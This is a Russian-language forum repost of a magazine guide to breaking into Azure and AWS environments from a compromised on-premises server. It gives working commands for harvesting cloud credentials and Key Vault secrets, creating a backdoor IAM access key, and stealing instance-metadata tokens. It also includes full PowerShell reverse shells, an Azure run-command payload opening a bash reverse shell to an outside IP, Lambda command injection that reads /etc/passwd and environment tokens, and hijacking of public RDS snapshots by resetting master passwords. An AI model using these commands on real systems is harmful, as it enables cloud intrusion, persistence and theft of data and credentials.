• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Атака на облака. Гайд по методам взлома приложений в Azure и AWS

Azrv3l

win32kfull
Эксперт
Регистрация
30.03.2019
Сообщения
215
Реакции
539
https://xakep.ru/wp-content/uploads/2020/07/314034/storm-h.jpg

Содержание статьи
  • Внутренняя разведка на использование облачных сервисов
    • Сбор данных с помощью утилиты Az
    • Сбор данных с помощью утилиты AWS
  • Расширение прав и горизонтальное перемещение
    • AWS
    • Azure
    • Сила Azure Run — берем шелл
  • Манипуляции на целевой машине и постэксплуатация Azure
    • Кража метаданных с виртуальной машины Azure
    • AWS
  • Эксплуатация сервисов
    • Эксплуатация уязвимости в AWS Lambda
    • Эксплуатация облачных хранилищ в AWS
    • Реляционные базы данных AWS
  • Облачное хранилище Azure
  • Заключение
Перенос IT-инфраструктуры в облака — это не дань моде: такой подход позволяет экономить на технической поддержке, резервном копировании и администрировании. К тому же размещение инфраструктуры в облаке считается более защищенным и от сбоев,
и от внешних атак. Но есть и эффективные методы взлома наиболее популярных гибридно-облачных сред, таких как Azure и AWS. Об этих техниках и атаках я расскажу дальше.

WARNING
Описания техник и атак в этой статье приведены исключительно в образовательных целях.
Автор и редакция не несут ответственности за возможные последствия использования информации из этой статьи.

Для наглядности давай представим пример атакуемой инфраструктуры в виде следующей диаграммы.

azure1.jpg


Как видно из диаграммы, организация использует серверы и сервисы разных облачных провайдеров, а также имеет ряд серверов on-premises. Серверы и сервисы взаимодействуют между собой,
так как это необходимо для полноценной работоспособности бизнеса. Предположим, что злоумышленник получил удаленный доступ к скомпрометированному серверу on-premises.
Вот несколько возможных сценариев дальнейшего развития атаки.

Внутренняя разведка на использование облачных сервисов
Имея доступ к линукс-серверу on-premises, желательно оставаться незамеченным как можно дольше. С этой целью можно использовать сервисы, действия и запросы которых рассматриваются в системе как разрешенные.
На такую роль как нельзя лучше подходят прикладные утилиты для удаленной работы с облачной инфраструктурой.

Также стоит обратить внимание на любые другие следы того, что сервер взаимодействует с облаками. К примеру, можно проанализировать command history, запущенные процессы, установленные пакеты и прочее.

Сбор данных с помощью утилиты Az
Azure CLI — это набор команд для создания ресурсов Azure и управления ими. Azure CLI доступен в различных службах Azure и предназначен для быстрой работы с ними.
Для входа в профиль Azure по умолчанию используется команда az login.

azure2.jpg


Как оказалось, в нашем случае линукс-сервер имеет доступ к инфраструктуре Azure. Какую полезную информацию из этого можно извлечь?
Для начала с помощью команды az account list получим перечень подписок авторизированного пользователя.

azure3.jpg


C помощью директивы az account show --query "id" можно получить ID учетной записи. А команда
Код:
az resource list --query "[?type=='Microsoft.KeyVault/vaults']"

позволяет узнать данные о Key Vault. Key Vault — это служба, которая помогает хранить ключи в аппаратных модулях безопасности (HSM), зашифровывая ключи и небольшие секретные данные, например пароли.
Очевидно, что Key Vault должен быть правильно настроен, иначе может произойти нечто подобное тому, что показано на скриншоте ниже.

azure4.jpg



А вот еще несколько команд, позволяющих выудить из Azure нужные взломщику сведения:
  • az resource show --id /subscriptions/… | grep -E enablePurgeProtection|enableSoftDelete — проверить, можно ли восстановить Key Vault;
  • az keyvault secret list --vault-name name --query [*].[{"name":attributes.name},{"enabled":attributes.enabled},{"expires":attributes.expires}] — проверить, когда секретный ключ Key Vault истекает;
  • az keyvault secret list --vault-name KeyVaultdatasecure --query '[].id' — получить URL для Key Vault;
  • az keyvault secret show --id — получить данные, хранящиеся в Key Vault;
  • az network nsg list --query [*].[name,securityRules] — получить данные о политике безопасности для сети Azure.

azure5.jpg


С помощью приведенных выше команд можно увидеть детали настроек политик безопасности для сети, к примеру название политики, группы, конфигурации. Обрати внимание на теги access, destinationPortRange, protocol и direction.
Они показывают, что на сервере разрешены внешние подключения. Установка удаленного доступа к C&C значительно облегчает задачу атакующему и повышает шансы остаться незамеченным.

azure6.jpg


Сбор данных с помощью утилиты AWS
AWS CLI — это единый инструмент для управления сервисами AWS. Загружаешь всего одно средство — и можешь контролировать множество сервисов AWS из командной строки и автоматизировать их с помощью скриптов.

Если утилита AWS установлена на скомпрометированной машине, можно проверить, сконфигурирован ли AWS-профиль. Конфигурационные данные к AWS на компьютерах под управлением Linux хранятся в файле ~/.aws/credentials,
а в Windows — в C:\Users\USERNAME\.aws\credentials. Этот файл может содержать данные к учетной записи AWS (access key ID, secret access key и session token).
Полученную таким образом учетную запить можно использовать для удаленного доступа в будущем.

azure7.jpg


С помощью следующих команд AWS CLI мы получим важную информацию о развернутой в сети облачной инфраструктуре:
  • aws sts get-caller-identity — получить данные об используемой учетной записи;
  • aws iam list-users — перечислить всех IAM-пользователей;
  • aws s3 ls — перечислить все доступные AWS S3;
  • aws lambda list --functions — перечислить все lambda-функции;
  • aws lambda get-function --function-name [function_name] — собрать дополнительную информацию по lambda-переменным, локации и так далее;
  • aws ec2 describe-instances — перечислить все доступные виртуальные машины;
  • aws deploy list-applications — перечислить все доступные веб-сервисы;
  • aws rds describe-db-instances — показать все доступные базы данных RDS.
azure8.jpg


Существуют и другие методы сбора информации на скомпрометированной системе. К примеру, можно воспользоваться командой history и посмотреть, какие команды выполнялись за последнее время на этой машине.

Расширение прав и горизонтальное перемещение
AWS
Чтобы закрепиться в системе, можно создать учетную запись с секретными ключами и именем iamadmin, которая будет выполнять функцию бэкдора для атакующего.
Для этого воспользуемся командой
Код:
aws iam create-access-key --user-name iamadmin

azure9.jpg


С помощью команд SSH можно подключиться к удаленному AWS bucket.

azure10.jpg


Получается, что боковыми движениями мы заполучили доступ к инфраструктуре AWS. При эксплуатации SSH желательно всегда проверять следующие директории и файлы:
  • .ssh/authorized_keys — содержит подпись публичных ключей для любых авторизованных клиентов;
  • .ssh/id_rsa — содержит приватные ключи для клиентов;
  • .ssh/id_rsa.pub — содержит публичные ключи для клиента;
  • .ssh/known_hosts — содержит список подписей хостов.

Azure
Итак, нам удалось найти данные для учетных записей и собрать достаточно информации, чтобы понять, что в инфраструктуре Azure присутствует несколько виртуальных машин и сервисов.
Виртуальные машины в Azure очень похожи на обычные машины, которые работают в виртуальной среде, и потому поддерживают стандартный набор команд. Запустим Nmap на одной из виртуальных машин AWS.
Код:
nmap -sS -sV -v -Pn -p- <IP-адрес>


azure11.jpg


Видно, что на удаленной виртуальной машине работает Apache на 80-м порте. Как правило, настройки доступа в среде Azure устанавливаются с помощью правил Azure network group.
Так что нужно быть внимательным и не забывать менять тестовые настройки. Как оказалось, мы имеем дело с веб-приложением для тестирования статуса машин в облаке. Не буду углубляться в подробности тестирования веб-приложения,
а просто приведу пример, как уязвимость в веб-приложении может предоставить доступ к удаленной виртуальной машине в Azure.

Для перебора учетных данных использовался DirBuster, который привел меня на страницу с формой логина администратора. Выяснилось, что приложение уязвимо к перечислению пользователей и брутфорсу пароля.
Сбрутить пароль можно с использованием Burp Suite.


azure12_rCfbZrd.jpg


Приложение оказалось уязвимым к запуску команды на удаленном компьютере.

azure13_2YW4Dan.jpg



Видно, что это машина под управлением Windows, на которой можно попробовать взять шелл. Для начала нужно запустить слушателя на машине атакующего. В качестве примера будет использован netcat: выполним команду nc -lvp 9090,
которая запускает слушателя на порте 9090 и переводит его в режим ожидания удаленного TCP-соединения.

Можно использовать приведенный ниже PowerShell reverse shell либо загрузить на машину свой собственный шелл, так как этот может быть обнаружен антивирусами и EDP-системами.
Вот два примера шелла PowerShell, которые можно использовать на удаленной машине.

Первый шелл
Bash:
[/SIZE]powershell 127.0.0.1&powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('IP,9090);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"[SIZE=4]

Второй шелл
Код:
$client = New-Object System.Net.Sockets.TCPClient("IP",9090);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Как только мы получим шелл, можно приступить к постэксплуатации и дальнейшим горизонтальным перемещениям.

Сила Azure Run — берем шелл
Одна из наиболее интересных возможностей Azure — это run command, функция, которая позволяет удаленно выполнять команды без доступа через SSH или RDP. Run command можно использовать в связке с az group list — командой,
перечисляющей группы на атакуемой машине.

azure14.jpg


Для перечисления виртуальных машин в группе используется команда az vm list -g GROUP-NAME.

azure15.jpg


Нам удалось найти линуксовую виртуалку, которую можно попробовать проэксплуатировать. Запустим на ней команду с помощью следующей процедуры:
Bash:
az vm run-command invoke -g GROUP-NAME -n VM-NAME --command-id RunShellScript --scripts "id"

azure16.jpg


С использованием вот такой команды мы можем взять шелл на линукс-машине:
Код:
az vm run-command invoke -g bapawsazureresourcegroup2 -n test-vm1 --command-id RunShellScript --scripts "bash -c \\"bash -i >& /dev/tcp/54.243.157.47/9090 0>&1\\"

В принципе, все то же самое может быть проделано для машины на базе Windows. К примеру, можно использовать команду
Код:
az vm run-command invoke -g GROUP-NAME -n VM-NAME --command-id RunPowerShellScript --scripts "whoami"

Манипуляции на целевой машине и постэксплуатация Azure
Кража метаданных с виртуальной машины Azure
Так как у нас уже имеется доступ к одной из виртуальных машин в Azure, можно попробовать извлечь метаданные. Для этого используем следующую команду:
Bash:
curl -UseBasicParsing -Headers @{"Metadata"="true"} 'http://169.254.169.254/metadata/instance?api-version=2017-08-01&format=text'

azure17.jpg


Проверим публичный IP-адрес узла:
Bash:
curl -UseBasicParsing -Headers @{"Metadata"="true"} 'http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-08-01&format=text'

azure18.jpg


Если у машины есть доступ в интернет, это сильно облегчит задачу злоумышленника. Также можно попробовать собрать данные с помощью OSINT и использовать их для получения доступа извне.

AWS
Кража метаданных из AWS
Так как нам удалось заполучить доступ к Amazon Elastic Compute Cloud (EC2), можно атаковать любой из аспектов EC2 — не только веб-приложения или службы, но и доступ к самому облачному сервису.

INFO
Во время настройки EC2 юзер получает возможность создать пару ключей для SSH. При создании EC2 в инфраструктуре Windows предоставляется файл для RDP и учетная запись.
Одна из базовых настроек безопасности — раздел «Группы безопасности», где пользователь может разрешить доступ к определенным портам и определенным IP-адресам, что очень похоже на обычный файрвол.

EC2 metadata — это данные об инстанции EC2. Эти данные хранятся в незашифрованном виде и могут быть извлечены с EC2, если имеется локальный доступ к машине. Приведу пример, как с помощью уязвимости в серверной части можно заполучить
интересную информацию об учетных записях. Можно воспользоваться curl, чтобы проверить метаданные на инстанции EC2.
Bash:
curl -v http://169.254.169.254/

Вывод этой команды выглядит так, как показано на скриншоте ниже.

azure19.jpg


IP-адрес 169.254.169.254 — это локальный адрес по умолчанию, который может быть доступен только с самой инстанции. Каждый продукт AWS имеет свой уникальный ID.
Получить его можно с помощью следующей команды:
Bash:
curl http://169.254.169.254/latest/meta-data/ami-id

Чтобы проверить публичный адрес EC2, используй команду
Bash:
curl http://169.254.169.254/latest/meta-data/public-hostname

Команда Ec2-metadata дает возможность просмотреть общие метаданные EC2.

azure20.jpg


Чтобы узнать публичный IP-адрес, используй команду Ec2-metadata -v. Имея публичный адрес, можно выполнить атаку извне.
Для начала стоит проверить, доступен ли IP, с использованием Nmap.

azure21.jpg


Оказывается, на хосте работает SSH, к тому же уязвимая версия. Это подсказывает нам еще несколько возможных векторов атак.

Кража учетной записи IAM и настройка удаленного доступа
Чтобы узнать данные IAM, используй команду вида
Bash:
curl http://169.254.169.254/latest/meta-data/iam/info

Получить расширенные данные, включающие accessID, SecretAccessKey, Token, позволяет команда
Bash:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2acess

azure22.jpg


Для успешной атаки с помощью учетной записи IAM нужно иметь следующие данные:
  • aws_access_key_id;
  • aws_secret_access_key;
  • aws_session_token.
Чтобы настроить скомпрометированный IAM-аккаунт для удаленного доступа, для начала нужно создать новый профиль с использованием краденых данных:
Bash:
aws configure --profile hackme

azure23.jpg


Профиль создан, но еще нужно добавить токен для полноценной работы удаленного доступа. Его можно прописать вручную, изменив файл ~/.aws/credentials.
1.jpg


На одной машине можно создать неограниченное количество профилей, главное — не меняй профиль по умолчанию.

AWS — выполнение действий на машине с помощью nimbostratus
Nimbostratus был создан как утилита тестирования в AWS. Но эта тулза может использоваться для кражи учетных данных на скомпрометированных EC2, кражи метаданных, для создания IAM-пользователя,
работы с образами RDS и многих других задач. Например, можно получить метаданные с использованием nimbostratus следующим способом:
Bash:
python nimbostratus dump-ec2-metadata

2.jpg


Эксплуатация сервисов
Эксплуатация уязвимости в AWS Lambda

AWS Lambda — это платформенная услуга Amazon Web Services, предоставляется она по принципу «функция как услуга». На что стоит обратить внимание при тестировании AWS Lambda?
  • Доступ к Lambda предоставляется через сетевой шлюз (gateway) или же через AWS-триггеры.
  • Чаще уязвимости обнаруживаются при тестировании на инъекции, фаззинге и мисконфигурациях серверной части.
Например, при вводе точки с запятой в строку для URL и какой-либо команды видно, что эта команда исполняется из-за наличия уязвимости на стороне сервера.

3.jpg


Например, запустить команду id на удаленной машине можно следующим образом.
Bash:
curl https://8o9kujtxv3.execute-api.us-east-1.amazonaws.com/api/hack;id;w

А с помощью следующей команды можно заглянуть в /etc/passwd.
Bash:
curl https://API-endpoint/api/hello;cat%20%2fetc%2fpasswd;w

Чтобы скопировать эту информацию в текстовый файл, используем следующую директиву.
Код:
curl https://8o9kujtxv3.execute-api.us-east-1.amazonaws.com/api/hack;cat%20%2fetc%2fpasswd;w > pass.txt

Еще одна важная особенность Lambda — это временный токен, который предоставляется в виде переменной среды.
Его можно проверить командой printenv:
Bash:
curl https://8o9kujtxv3.execute-api.us-east-1.amazonaws.com/api/hack;printenv;w

Когда учетные данные AWS украдены и добавлены в интерфейс командной строки AWS, можно попытаться загрузить lambda-код. Это необходимо, если ты хочешь узнать, какие lambda-функции выполняются в целевой среде,
а также попытаться найти конфиденциальную информацию.

Перечислить lambda-функции, которые доступны для текущего профиля, можно с помощью команды aws lambda list-functions. Ее вывод показан на следующем скриншоте.

azure27.jpg


Чтобы получить ссылку на загрузку lambda-функции, используй эту команду:
Bash:
aws lambda get-function --function-name <FUNCTION-NAME>

Как только код будет загружен на твою машину, можно проверить, содержит ли он уязвимости и конфиденциальную информацию.

Эксплуатация облачных хранилищ в AWS
Облачные хранилища наиболее интересны для злоумышленника. AWS S3 и EBS (Elastic Block Store) довольно часто содержат уязвимости и неправильные конфигурации,
которые могут быть обнаружены при сборе информации о цели.

AWSBucketDump — это инструмент для быстрого сбора данных о AWS S3. Он очень похож на SubBrute, так как работает по аналогичной схеме и брутфорсит AWS S3. Кроме того, в AWSBucketDump есть фичи,
которые помогают автоматизировать поиск и загрузку интересной информации. Для запуска AWSBucketDump используется следующая команда:
Bash:
python AWSBucketDump.py -D -l BucketNames.txt -g s.txt

Скрипт создаст файл interesting_file.txt, в котором сохранятся результаты его работы.

А как узнать, существует ли вообще интересующее нас хранилище S3? Можно выбрать любой AWS URL и проверить HTTP response.
Существующая корзина вернет нам ListBucketResult или AccessDenied.

4.jpg


Если HTTP Response на $ bucket.s3.amazonaws.com показывает NoSuchBucket, это означает, что корзина не существует.

5.jpg


С помощью утилиты AWS можно запрашивать данные о S3 ACL: для этого используется команда aws s3api get-bucket-acl --bucket bucket-name.

azure30.jpg


Для объектов, которые имеют открытый доступ на чтение и запись, в ACL будет указано FULL_CONTROL. Ты можешь создавать файлы в такой корзине удаленно, используя любую учетную запись AWS.
Можно залить файл при помощи утилиты aws с использованием любого профиля, а потом проверить наличие этого файла:
Bash:
aws s3 cp readme.txt s3://bucket-name-here --profile newuserprofile
aws s3 ls s3://bucket-name-here --profile newuserprofile

Вот как эта операция выглядит в консоли.

azure31.jpg


Amazon Elastic Block Store (Amazon EBS) предоставляет постоянные тома блочных хранилищ для использования с Amazon EC2 в облаке AWS. Каждый том Amazon EBS автоматически реплицируется в своей зоне доступности.
Чтобы обнаружить общедоступные снимки EBS с определенными паттернами, можно использовать grep:
Bash:
aws ec2 describe-snapshots --region us-east-1 --restorable-by-user-ids all | grep -C 10 "company secrets"

azure32.jpg



Получить зону доступности и ID EC2 позволяет следующая команда:
Код:
aws ec2 describe-instances --filters Name=tag:Name,Values=attacker-machine

Теперь можно создать новый том с использованием обнаруженного снапшота:
Код:
aws ec2 create-volume --snapshot-id snap-03616657ede4b9862 --availability-zone us-east-1b

После создания тома обрати внимание на . Можно подключить созданный нами новый том к компьютеру EC2 с использованием ID-инстанции EC2 и ID нового тома. Для этого используется следующая команда:
Код:
aws ec2 attach-volume --device /dev/sdh --instance-id i-05a977acccaa51bd6 --volume-id vol-018bd5c117c410f23

azure33.jpg


Для проверки состояния служит команда aws ec2 describe-volumes --filters Name=volume-id,Values=vol-018bd5c117c410f23 — если все в порядке, сервер ответит in use.

azure34.jpg


Когда том подключен, можно определить раздел с помощью lsblk и смонтировать его для дальнейшего анализа.

Реляционные базы данных AWS
Облачные базы данных в случае с AWS — это служба реляционных баз данных, которая позволяет пользователям создавать базы в облаке и подключаться к ним из любого места. Нередко в конфигурации БД допускают ошибки,
которые могут использовать атакующие.

Чаще всего неправильные конфигурации включают в себя слабую политику безопасности и слабые пароли, что делает RDS общедоступным.

Ниже приведен пример эксплуатации слабого пароля и ролей доступа: при эксплуатации веб-приложения удалось найти SQL-инъекцию и заполучить хеши пользователя.

azure35.jpg


Определить тип хеша можно с помощью утилиты hash-identifier. Например, мы можем запустить hashcat, чтобы подобрать пароль для пользователя rdsroot, следующей командой:
Код:
hashcat -m 300 -a 0 D1DBA23DC29396BCDAE208D3AF7AF9F065CF3CC4 wordlist.txt

Подключиться к базе данных можно, используя обычный клиент MySQL.

azure36.jpg



Как только доступ к RDS получен, можно попытаться дампнуть базу данных. Есть много способов этого достичь c помощью SQL-инъекции или через AWS-консоль, которая позволяет монтировать RDS-образ. Для получения доступа к данным можно сбросить пароль этих образов.

Снимки RDS могут быть доступны извне. Если доступен ID образа, этот образ может быть смонтирован на машину, с которой производится атака. Найти нужный ID поможет утилита AWS, команда вот такая:
Bash:
aws rds describe-db-snapshots --include-public --snapshot-type public --db-snapshot-identifier arn:aws:rds:us-east-1:159236164734:snapshot:globalbutterdbbackup

azure37.jpg


Чтобы восстановить образ как новую инстанцию, используем следующую команду:
Bash:
aws rds restore-db-instance-from-db-snapshot --db-instance-identifier recoverdb --publicly-accessible --db-snapshot-identifier arn:aws:rds:us-east-1:159236164734:snapshot:globalbutterdbbackup --availability-zone us-east-1b

Как только образ восстановлен, можно проверить, все ли работает, а потом попробовать подключиться:
Bash:
aws rds describe-db-instances --db-instance-identifier recoverdb

Параметр DBInstanceStatus показывает статус инстанции. Как только бэкап завершится, значение DBInstanceStatus станет available.

azure38.jpg


Теперь можно сбросить пароль для MasterUsername и залогиниться:
Bash:
aws rds modify-db-instance --db-instance-identifier recoverdb --master-user-password NewPassword1 --apply-immediately

Проверить, работает ли MySQL RDP и разрешает ли подключения, можно с помощью команды nc rds-endpoint 3306 --zvv. Чтобы подключиться к базе данных и извлечь данные из нее,
чаще всего используют обычный клиент MySQL.

Облачное хранилище Azure
Azure Storage предоставляет облачное хранилище, которое включает в себя объекты Azure drops, хранилища data lake, файлы, очереди и таблицы. Неправильные конфигурации могут привести к утечке конфиденциальных
данных и потенциальному риску других сервисов.

Azure drops являются эквивалентом AWS S3 и позволяют хранить объекты. Доступ к этим объектам может быть получен через HTTP с использованием созданного URL.

На приведенной ниже картинке можно увидеть пример неправильных конфигураций прав доступа к файлам в хранилище Azure.

azure39_VrNC8iW.jpg


Неправильные привилегии позволяют увидеть, какие файлы хранятся в Azure drops, а также дают возможность удалять файлы.
В результате могут быть потеряны конфиденциальные данные и нарушена работоспособность других сервисов.

Адрес Azure drops представляет собой FQDN, который является полным доменным именем и содержит запись типа A. Она, в свою очередь, указывает на принадлежность к IP-адресу Microsoft.
Поэтому для поиска объектов Azure drops можно использовать любой инструмент перечисления поддоменов, который проверяет либо наличие записи A для доменного имени, либо коды состояния HTTP.

Можно использовать такие утилиты, как dnsscan. Для достижения лучшего результата желательно использовать собственные словари. С базовым словарем поиск поддоменов выполняется такой командой:
Bash:
python dnsscan.py -d blob.core.windows.net -w subdomains-100.txt

Результат ее работы показан на следующей иллюстрации.

azure40.jpg


Нетрудно отыскать и доступные из сети облачные базы данных Azure. Имя конечной точки сервера базы данных SQL Azure имеет вид ??.database.windows.net. Поиск в интернете для этой конкретной строки может дать интересные результаты.
По сути, имена конечных точек базы данных и потенциальные учетные записи можно найти с помощью Google или поиска поддоменов.

Заключение
Если ты перенес инфраструктуру в облако, это не значит, что можно полностью забыть обо всех проблемах, связанных с безопасностью. Они никуда не исчезли. В этой статье мы рассмотрели основные приемы,
которые хакеры могут использовать при атаках на приложения, расположенные в Azure. Эти знания помогут тебе избежать основных рисков, но никто не угадает, когда появятся новые. Так что расслабляться не стоит!

В гибридной облачной среде, где некоторые данные хранятся локально, а некоторые в облаках, к вопросам ИБ следует подходить комплексно. И тестирование на проникновение — наилучший способ оценить,
насколько хорошо решены вопросы защиты данных. Оно позволяет выявить слабые элементы, способные поставить под угрозу защиту всей инфраструктуры организации.
Защита от утечки данных и соблюдение правил безопасности требуют постоянной бдительности.

От ТС:
Оригинал вот - https://xakep.ru/2020/07/22/azure-aws-hacking-guide/
Если в тексте есть ошибки, пишите, исправлю.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх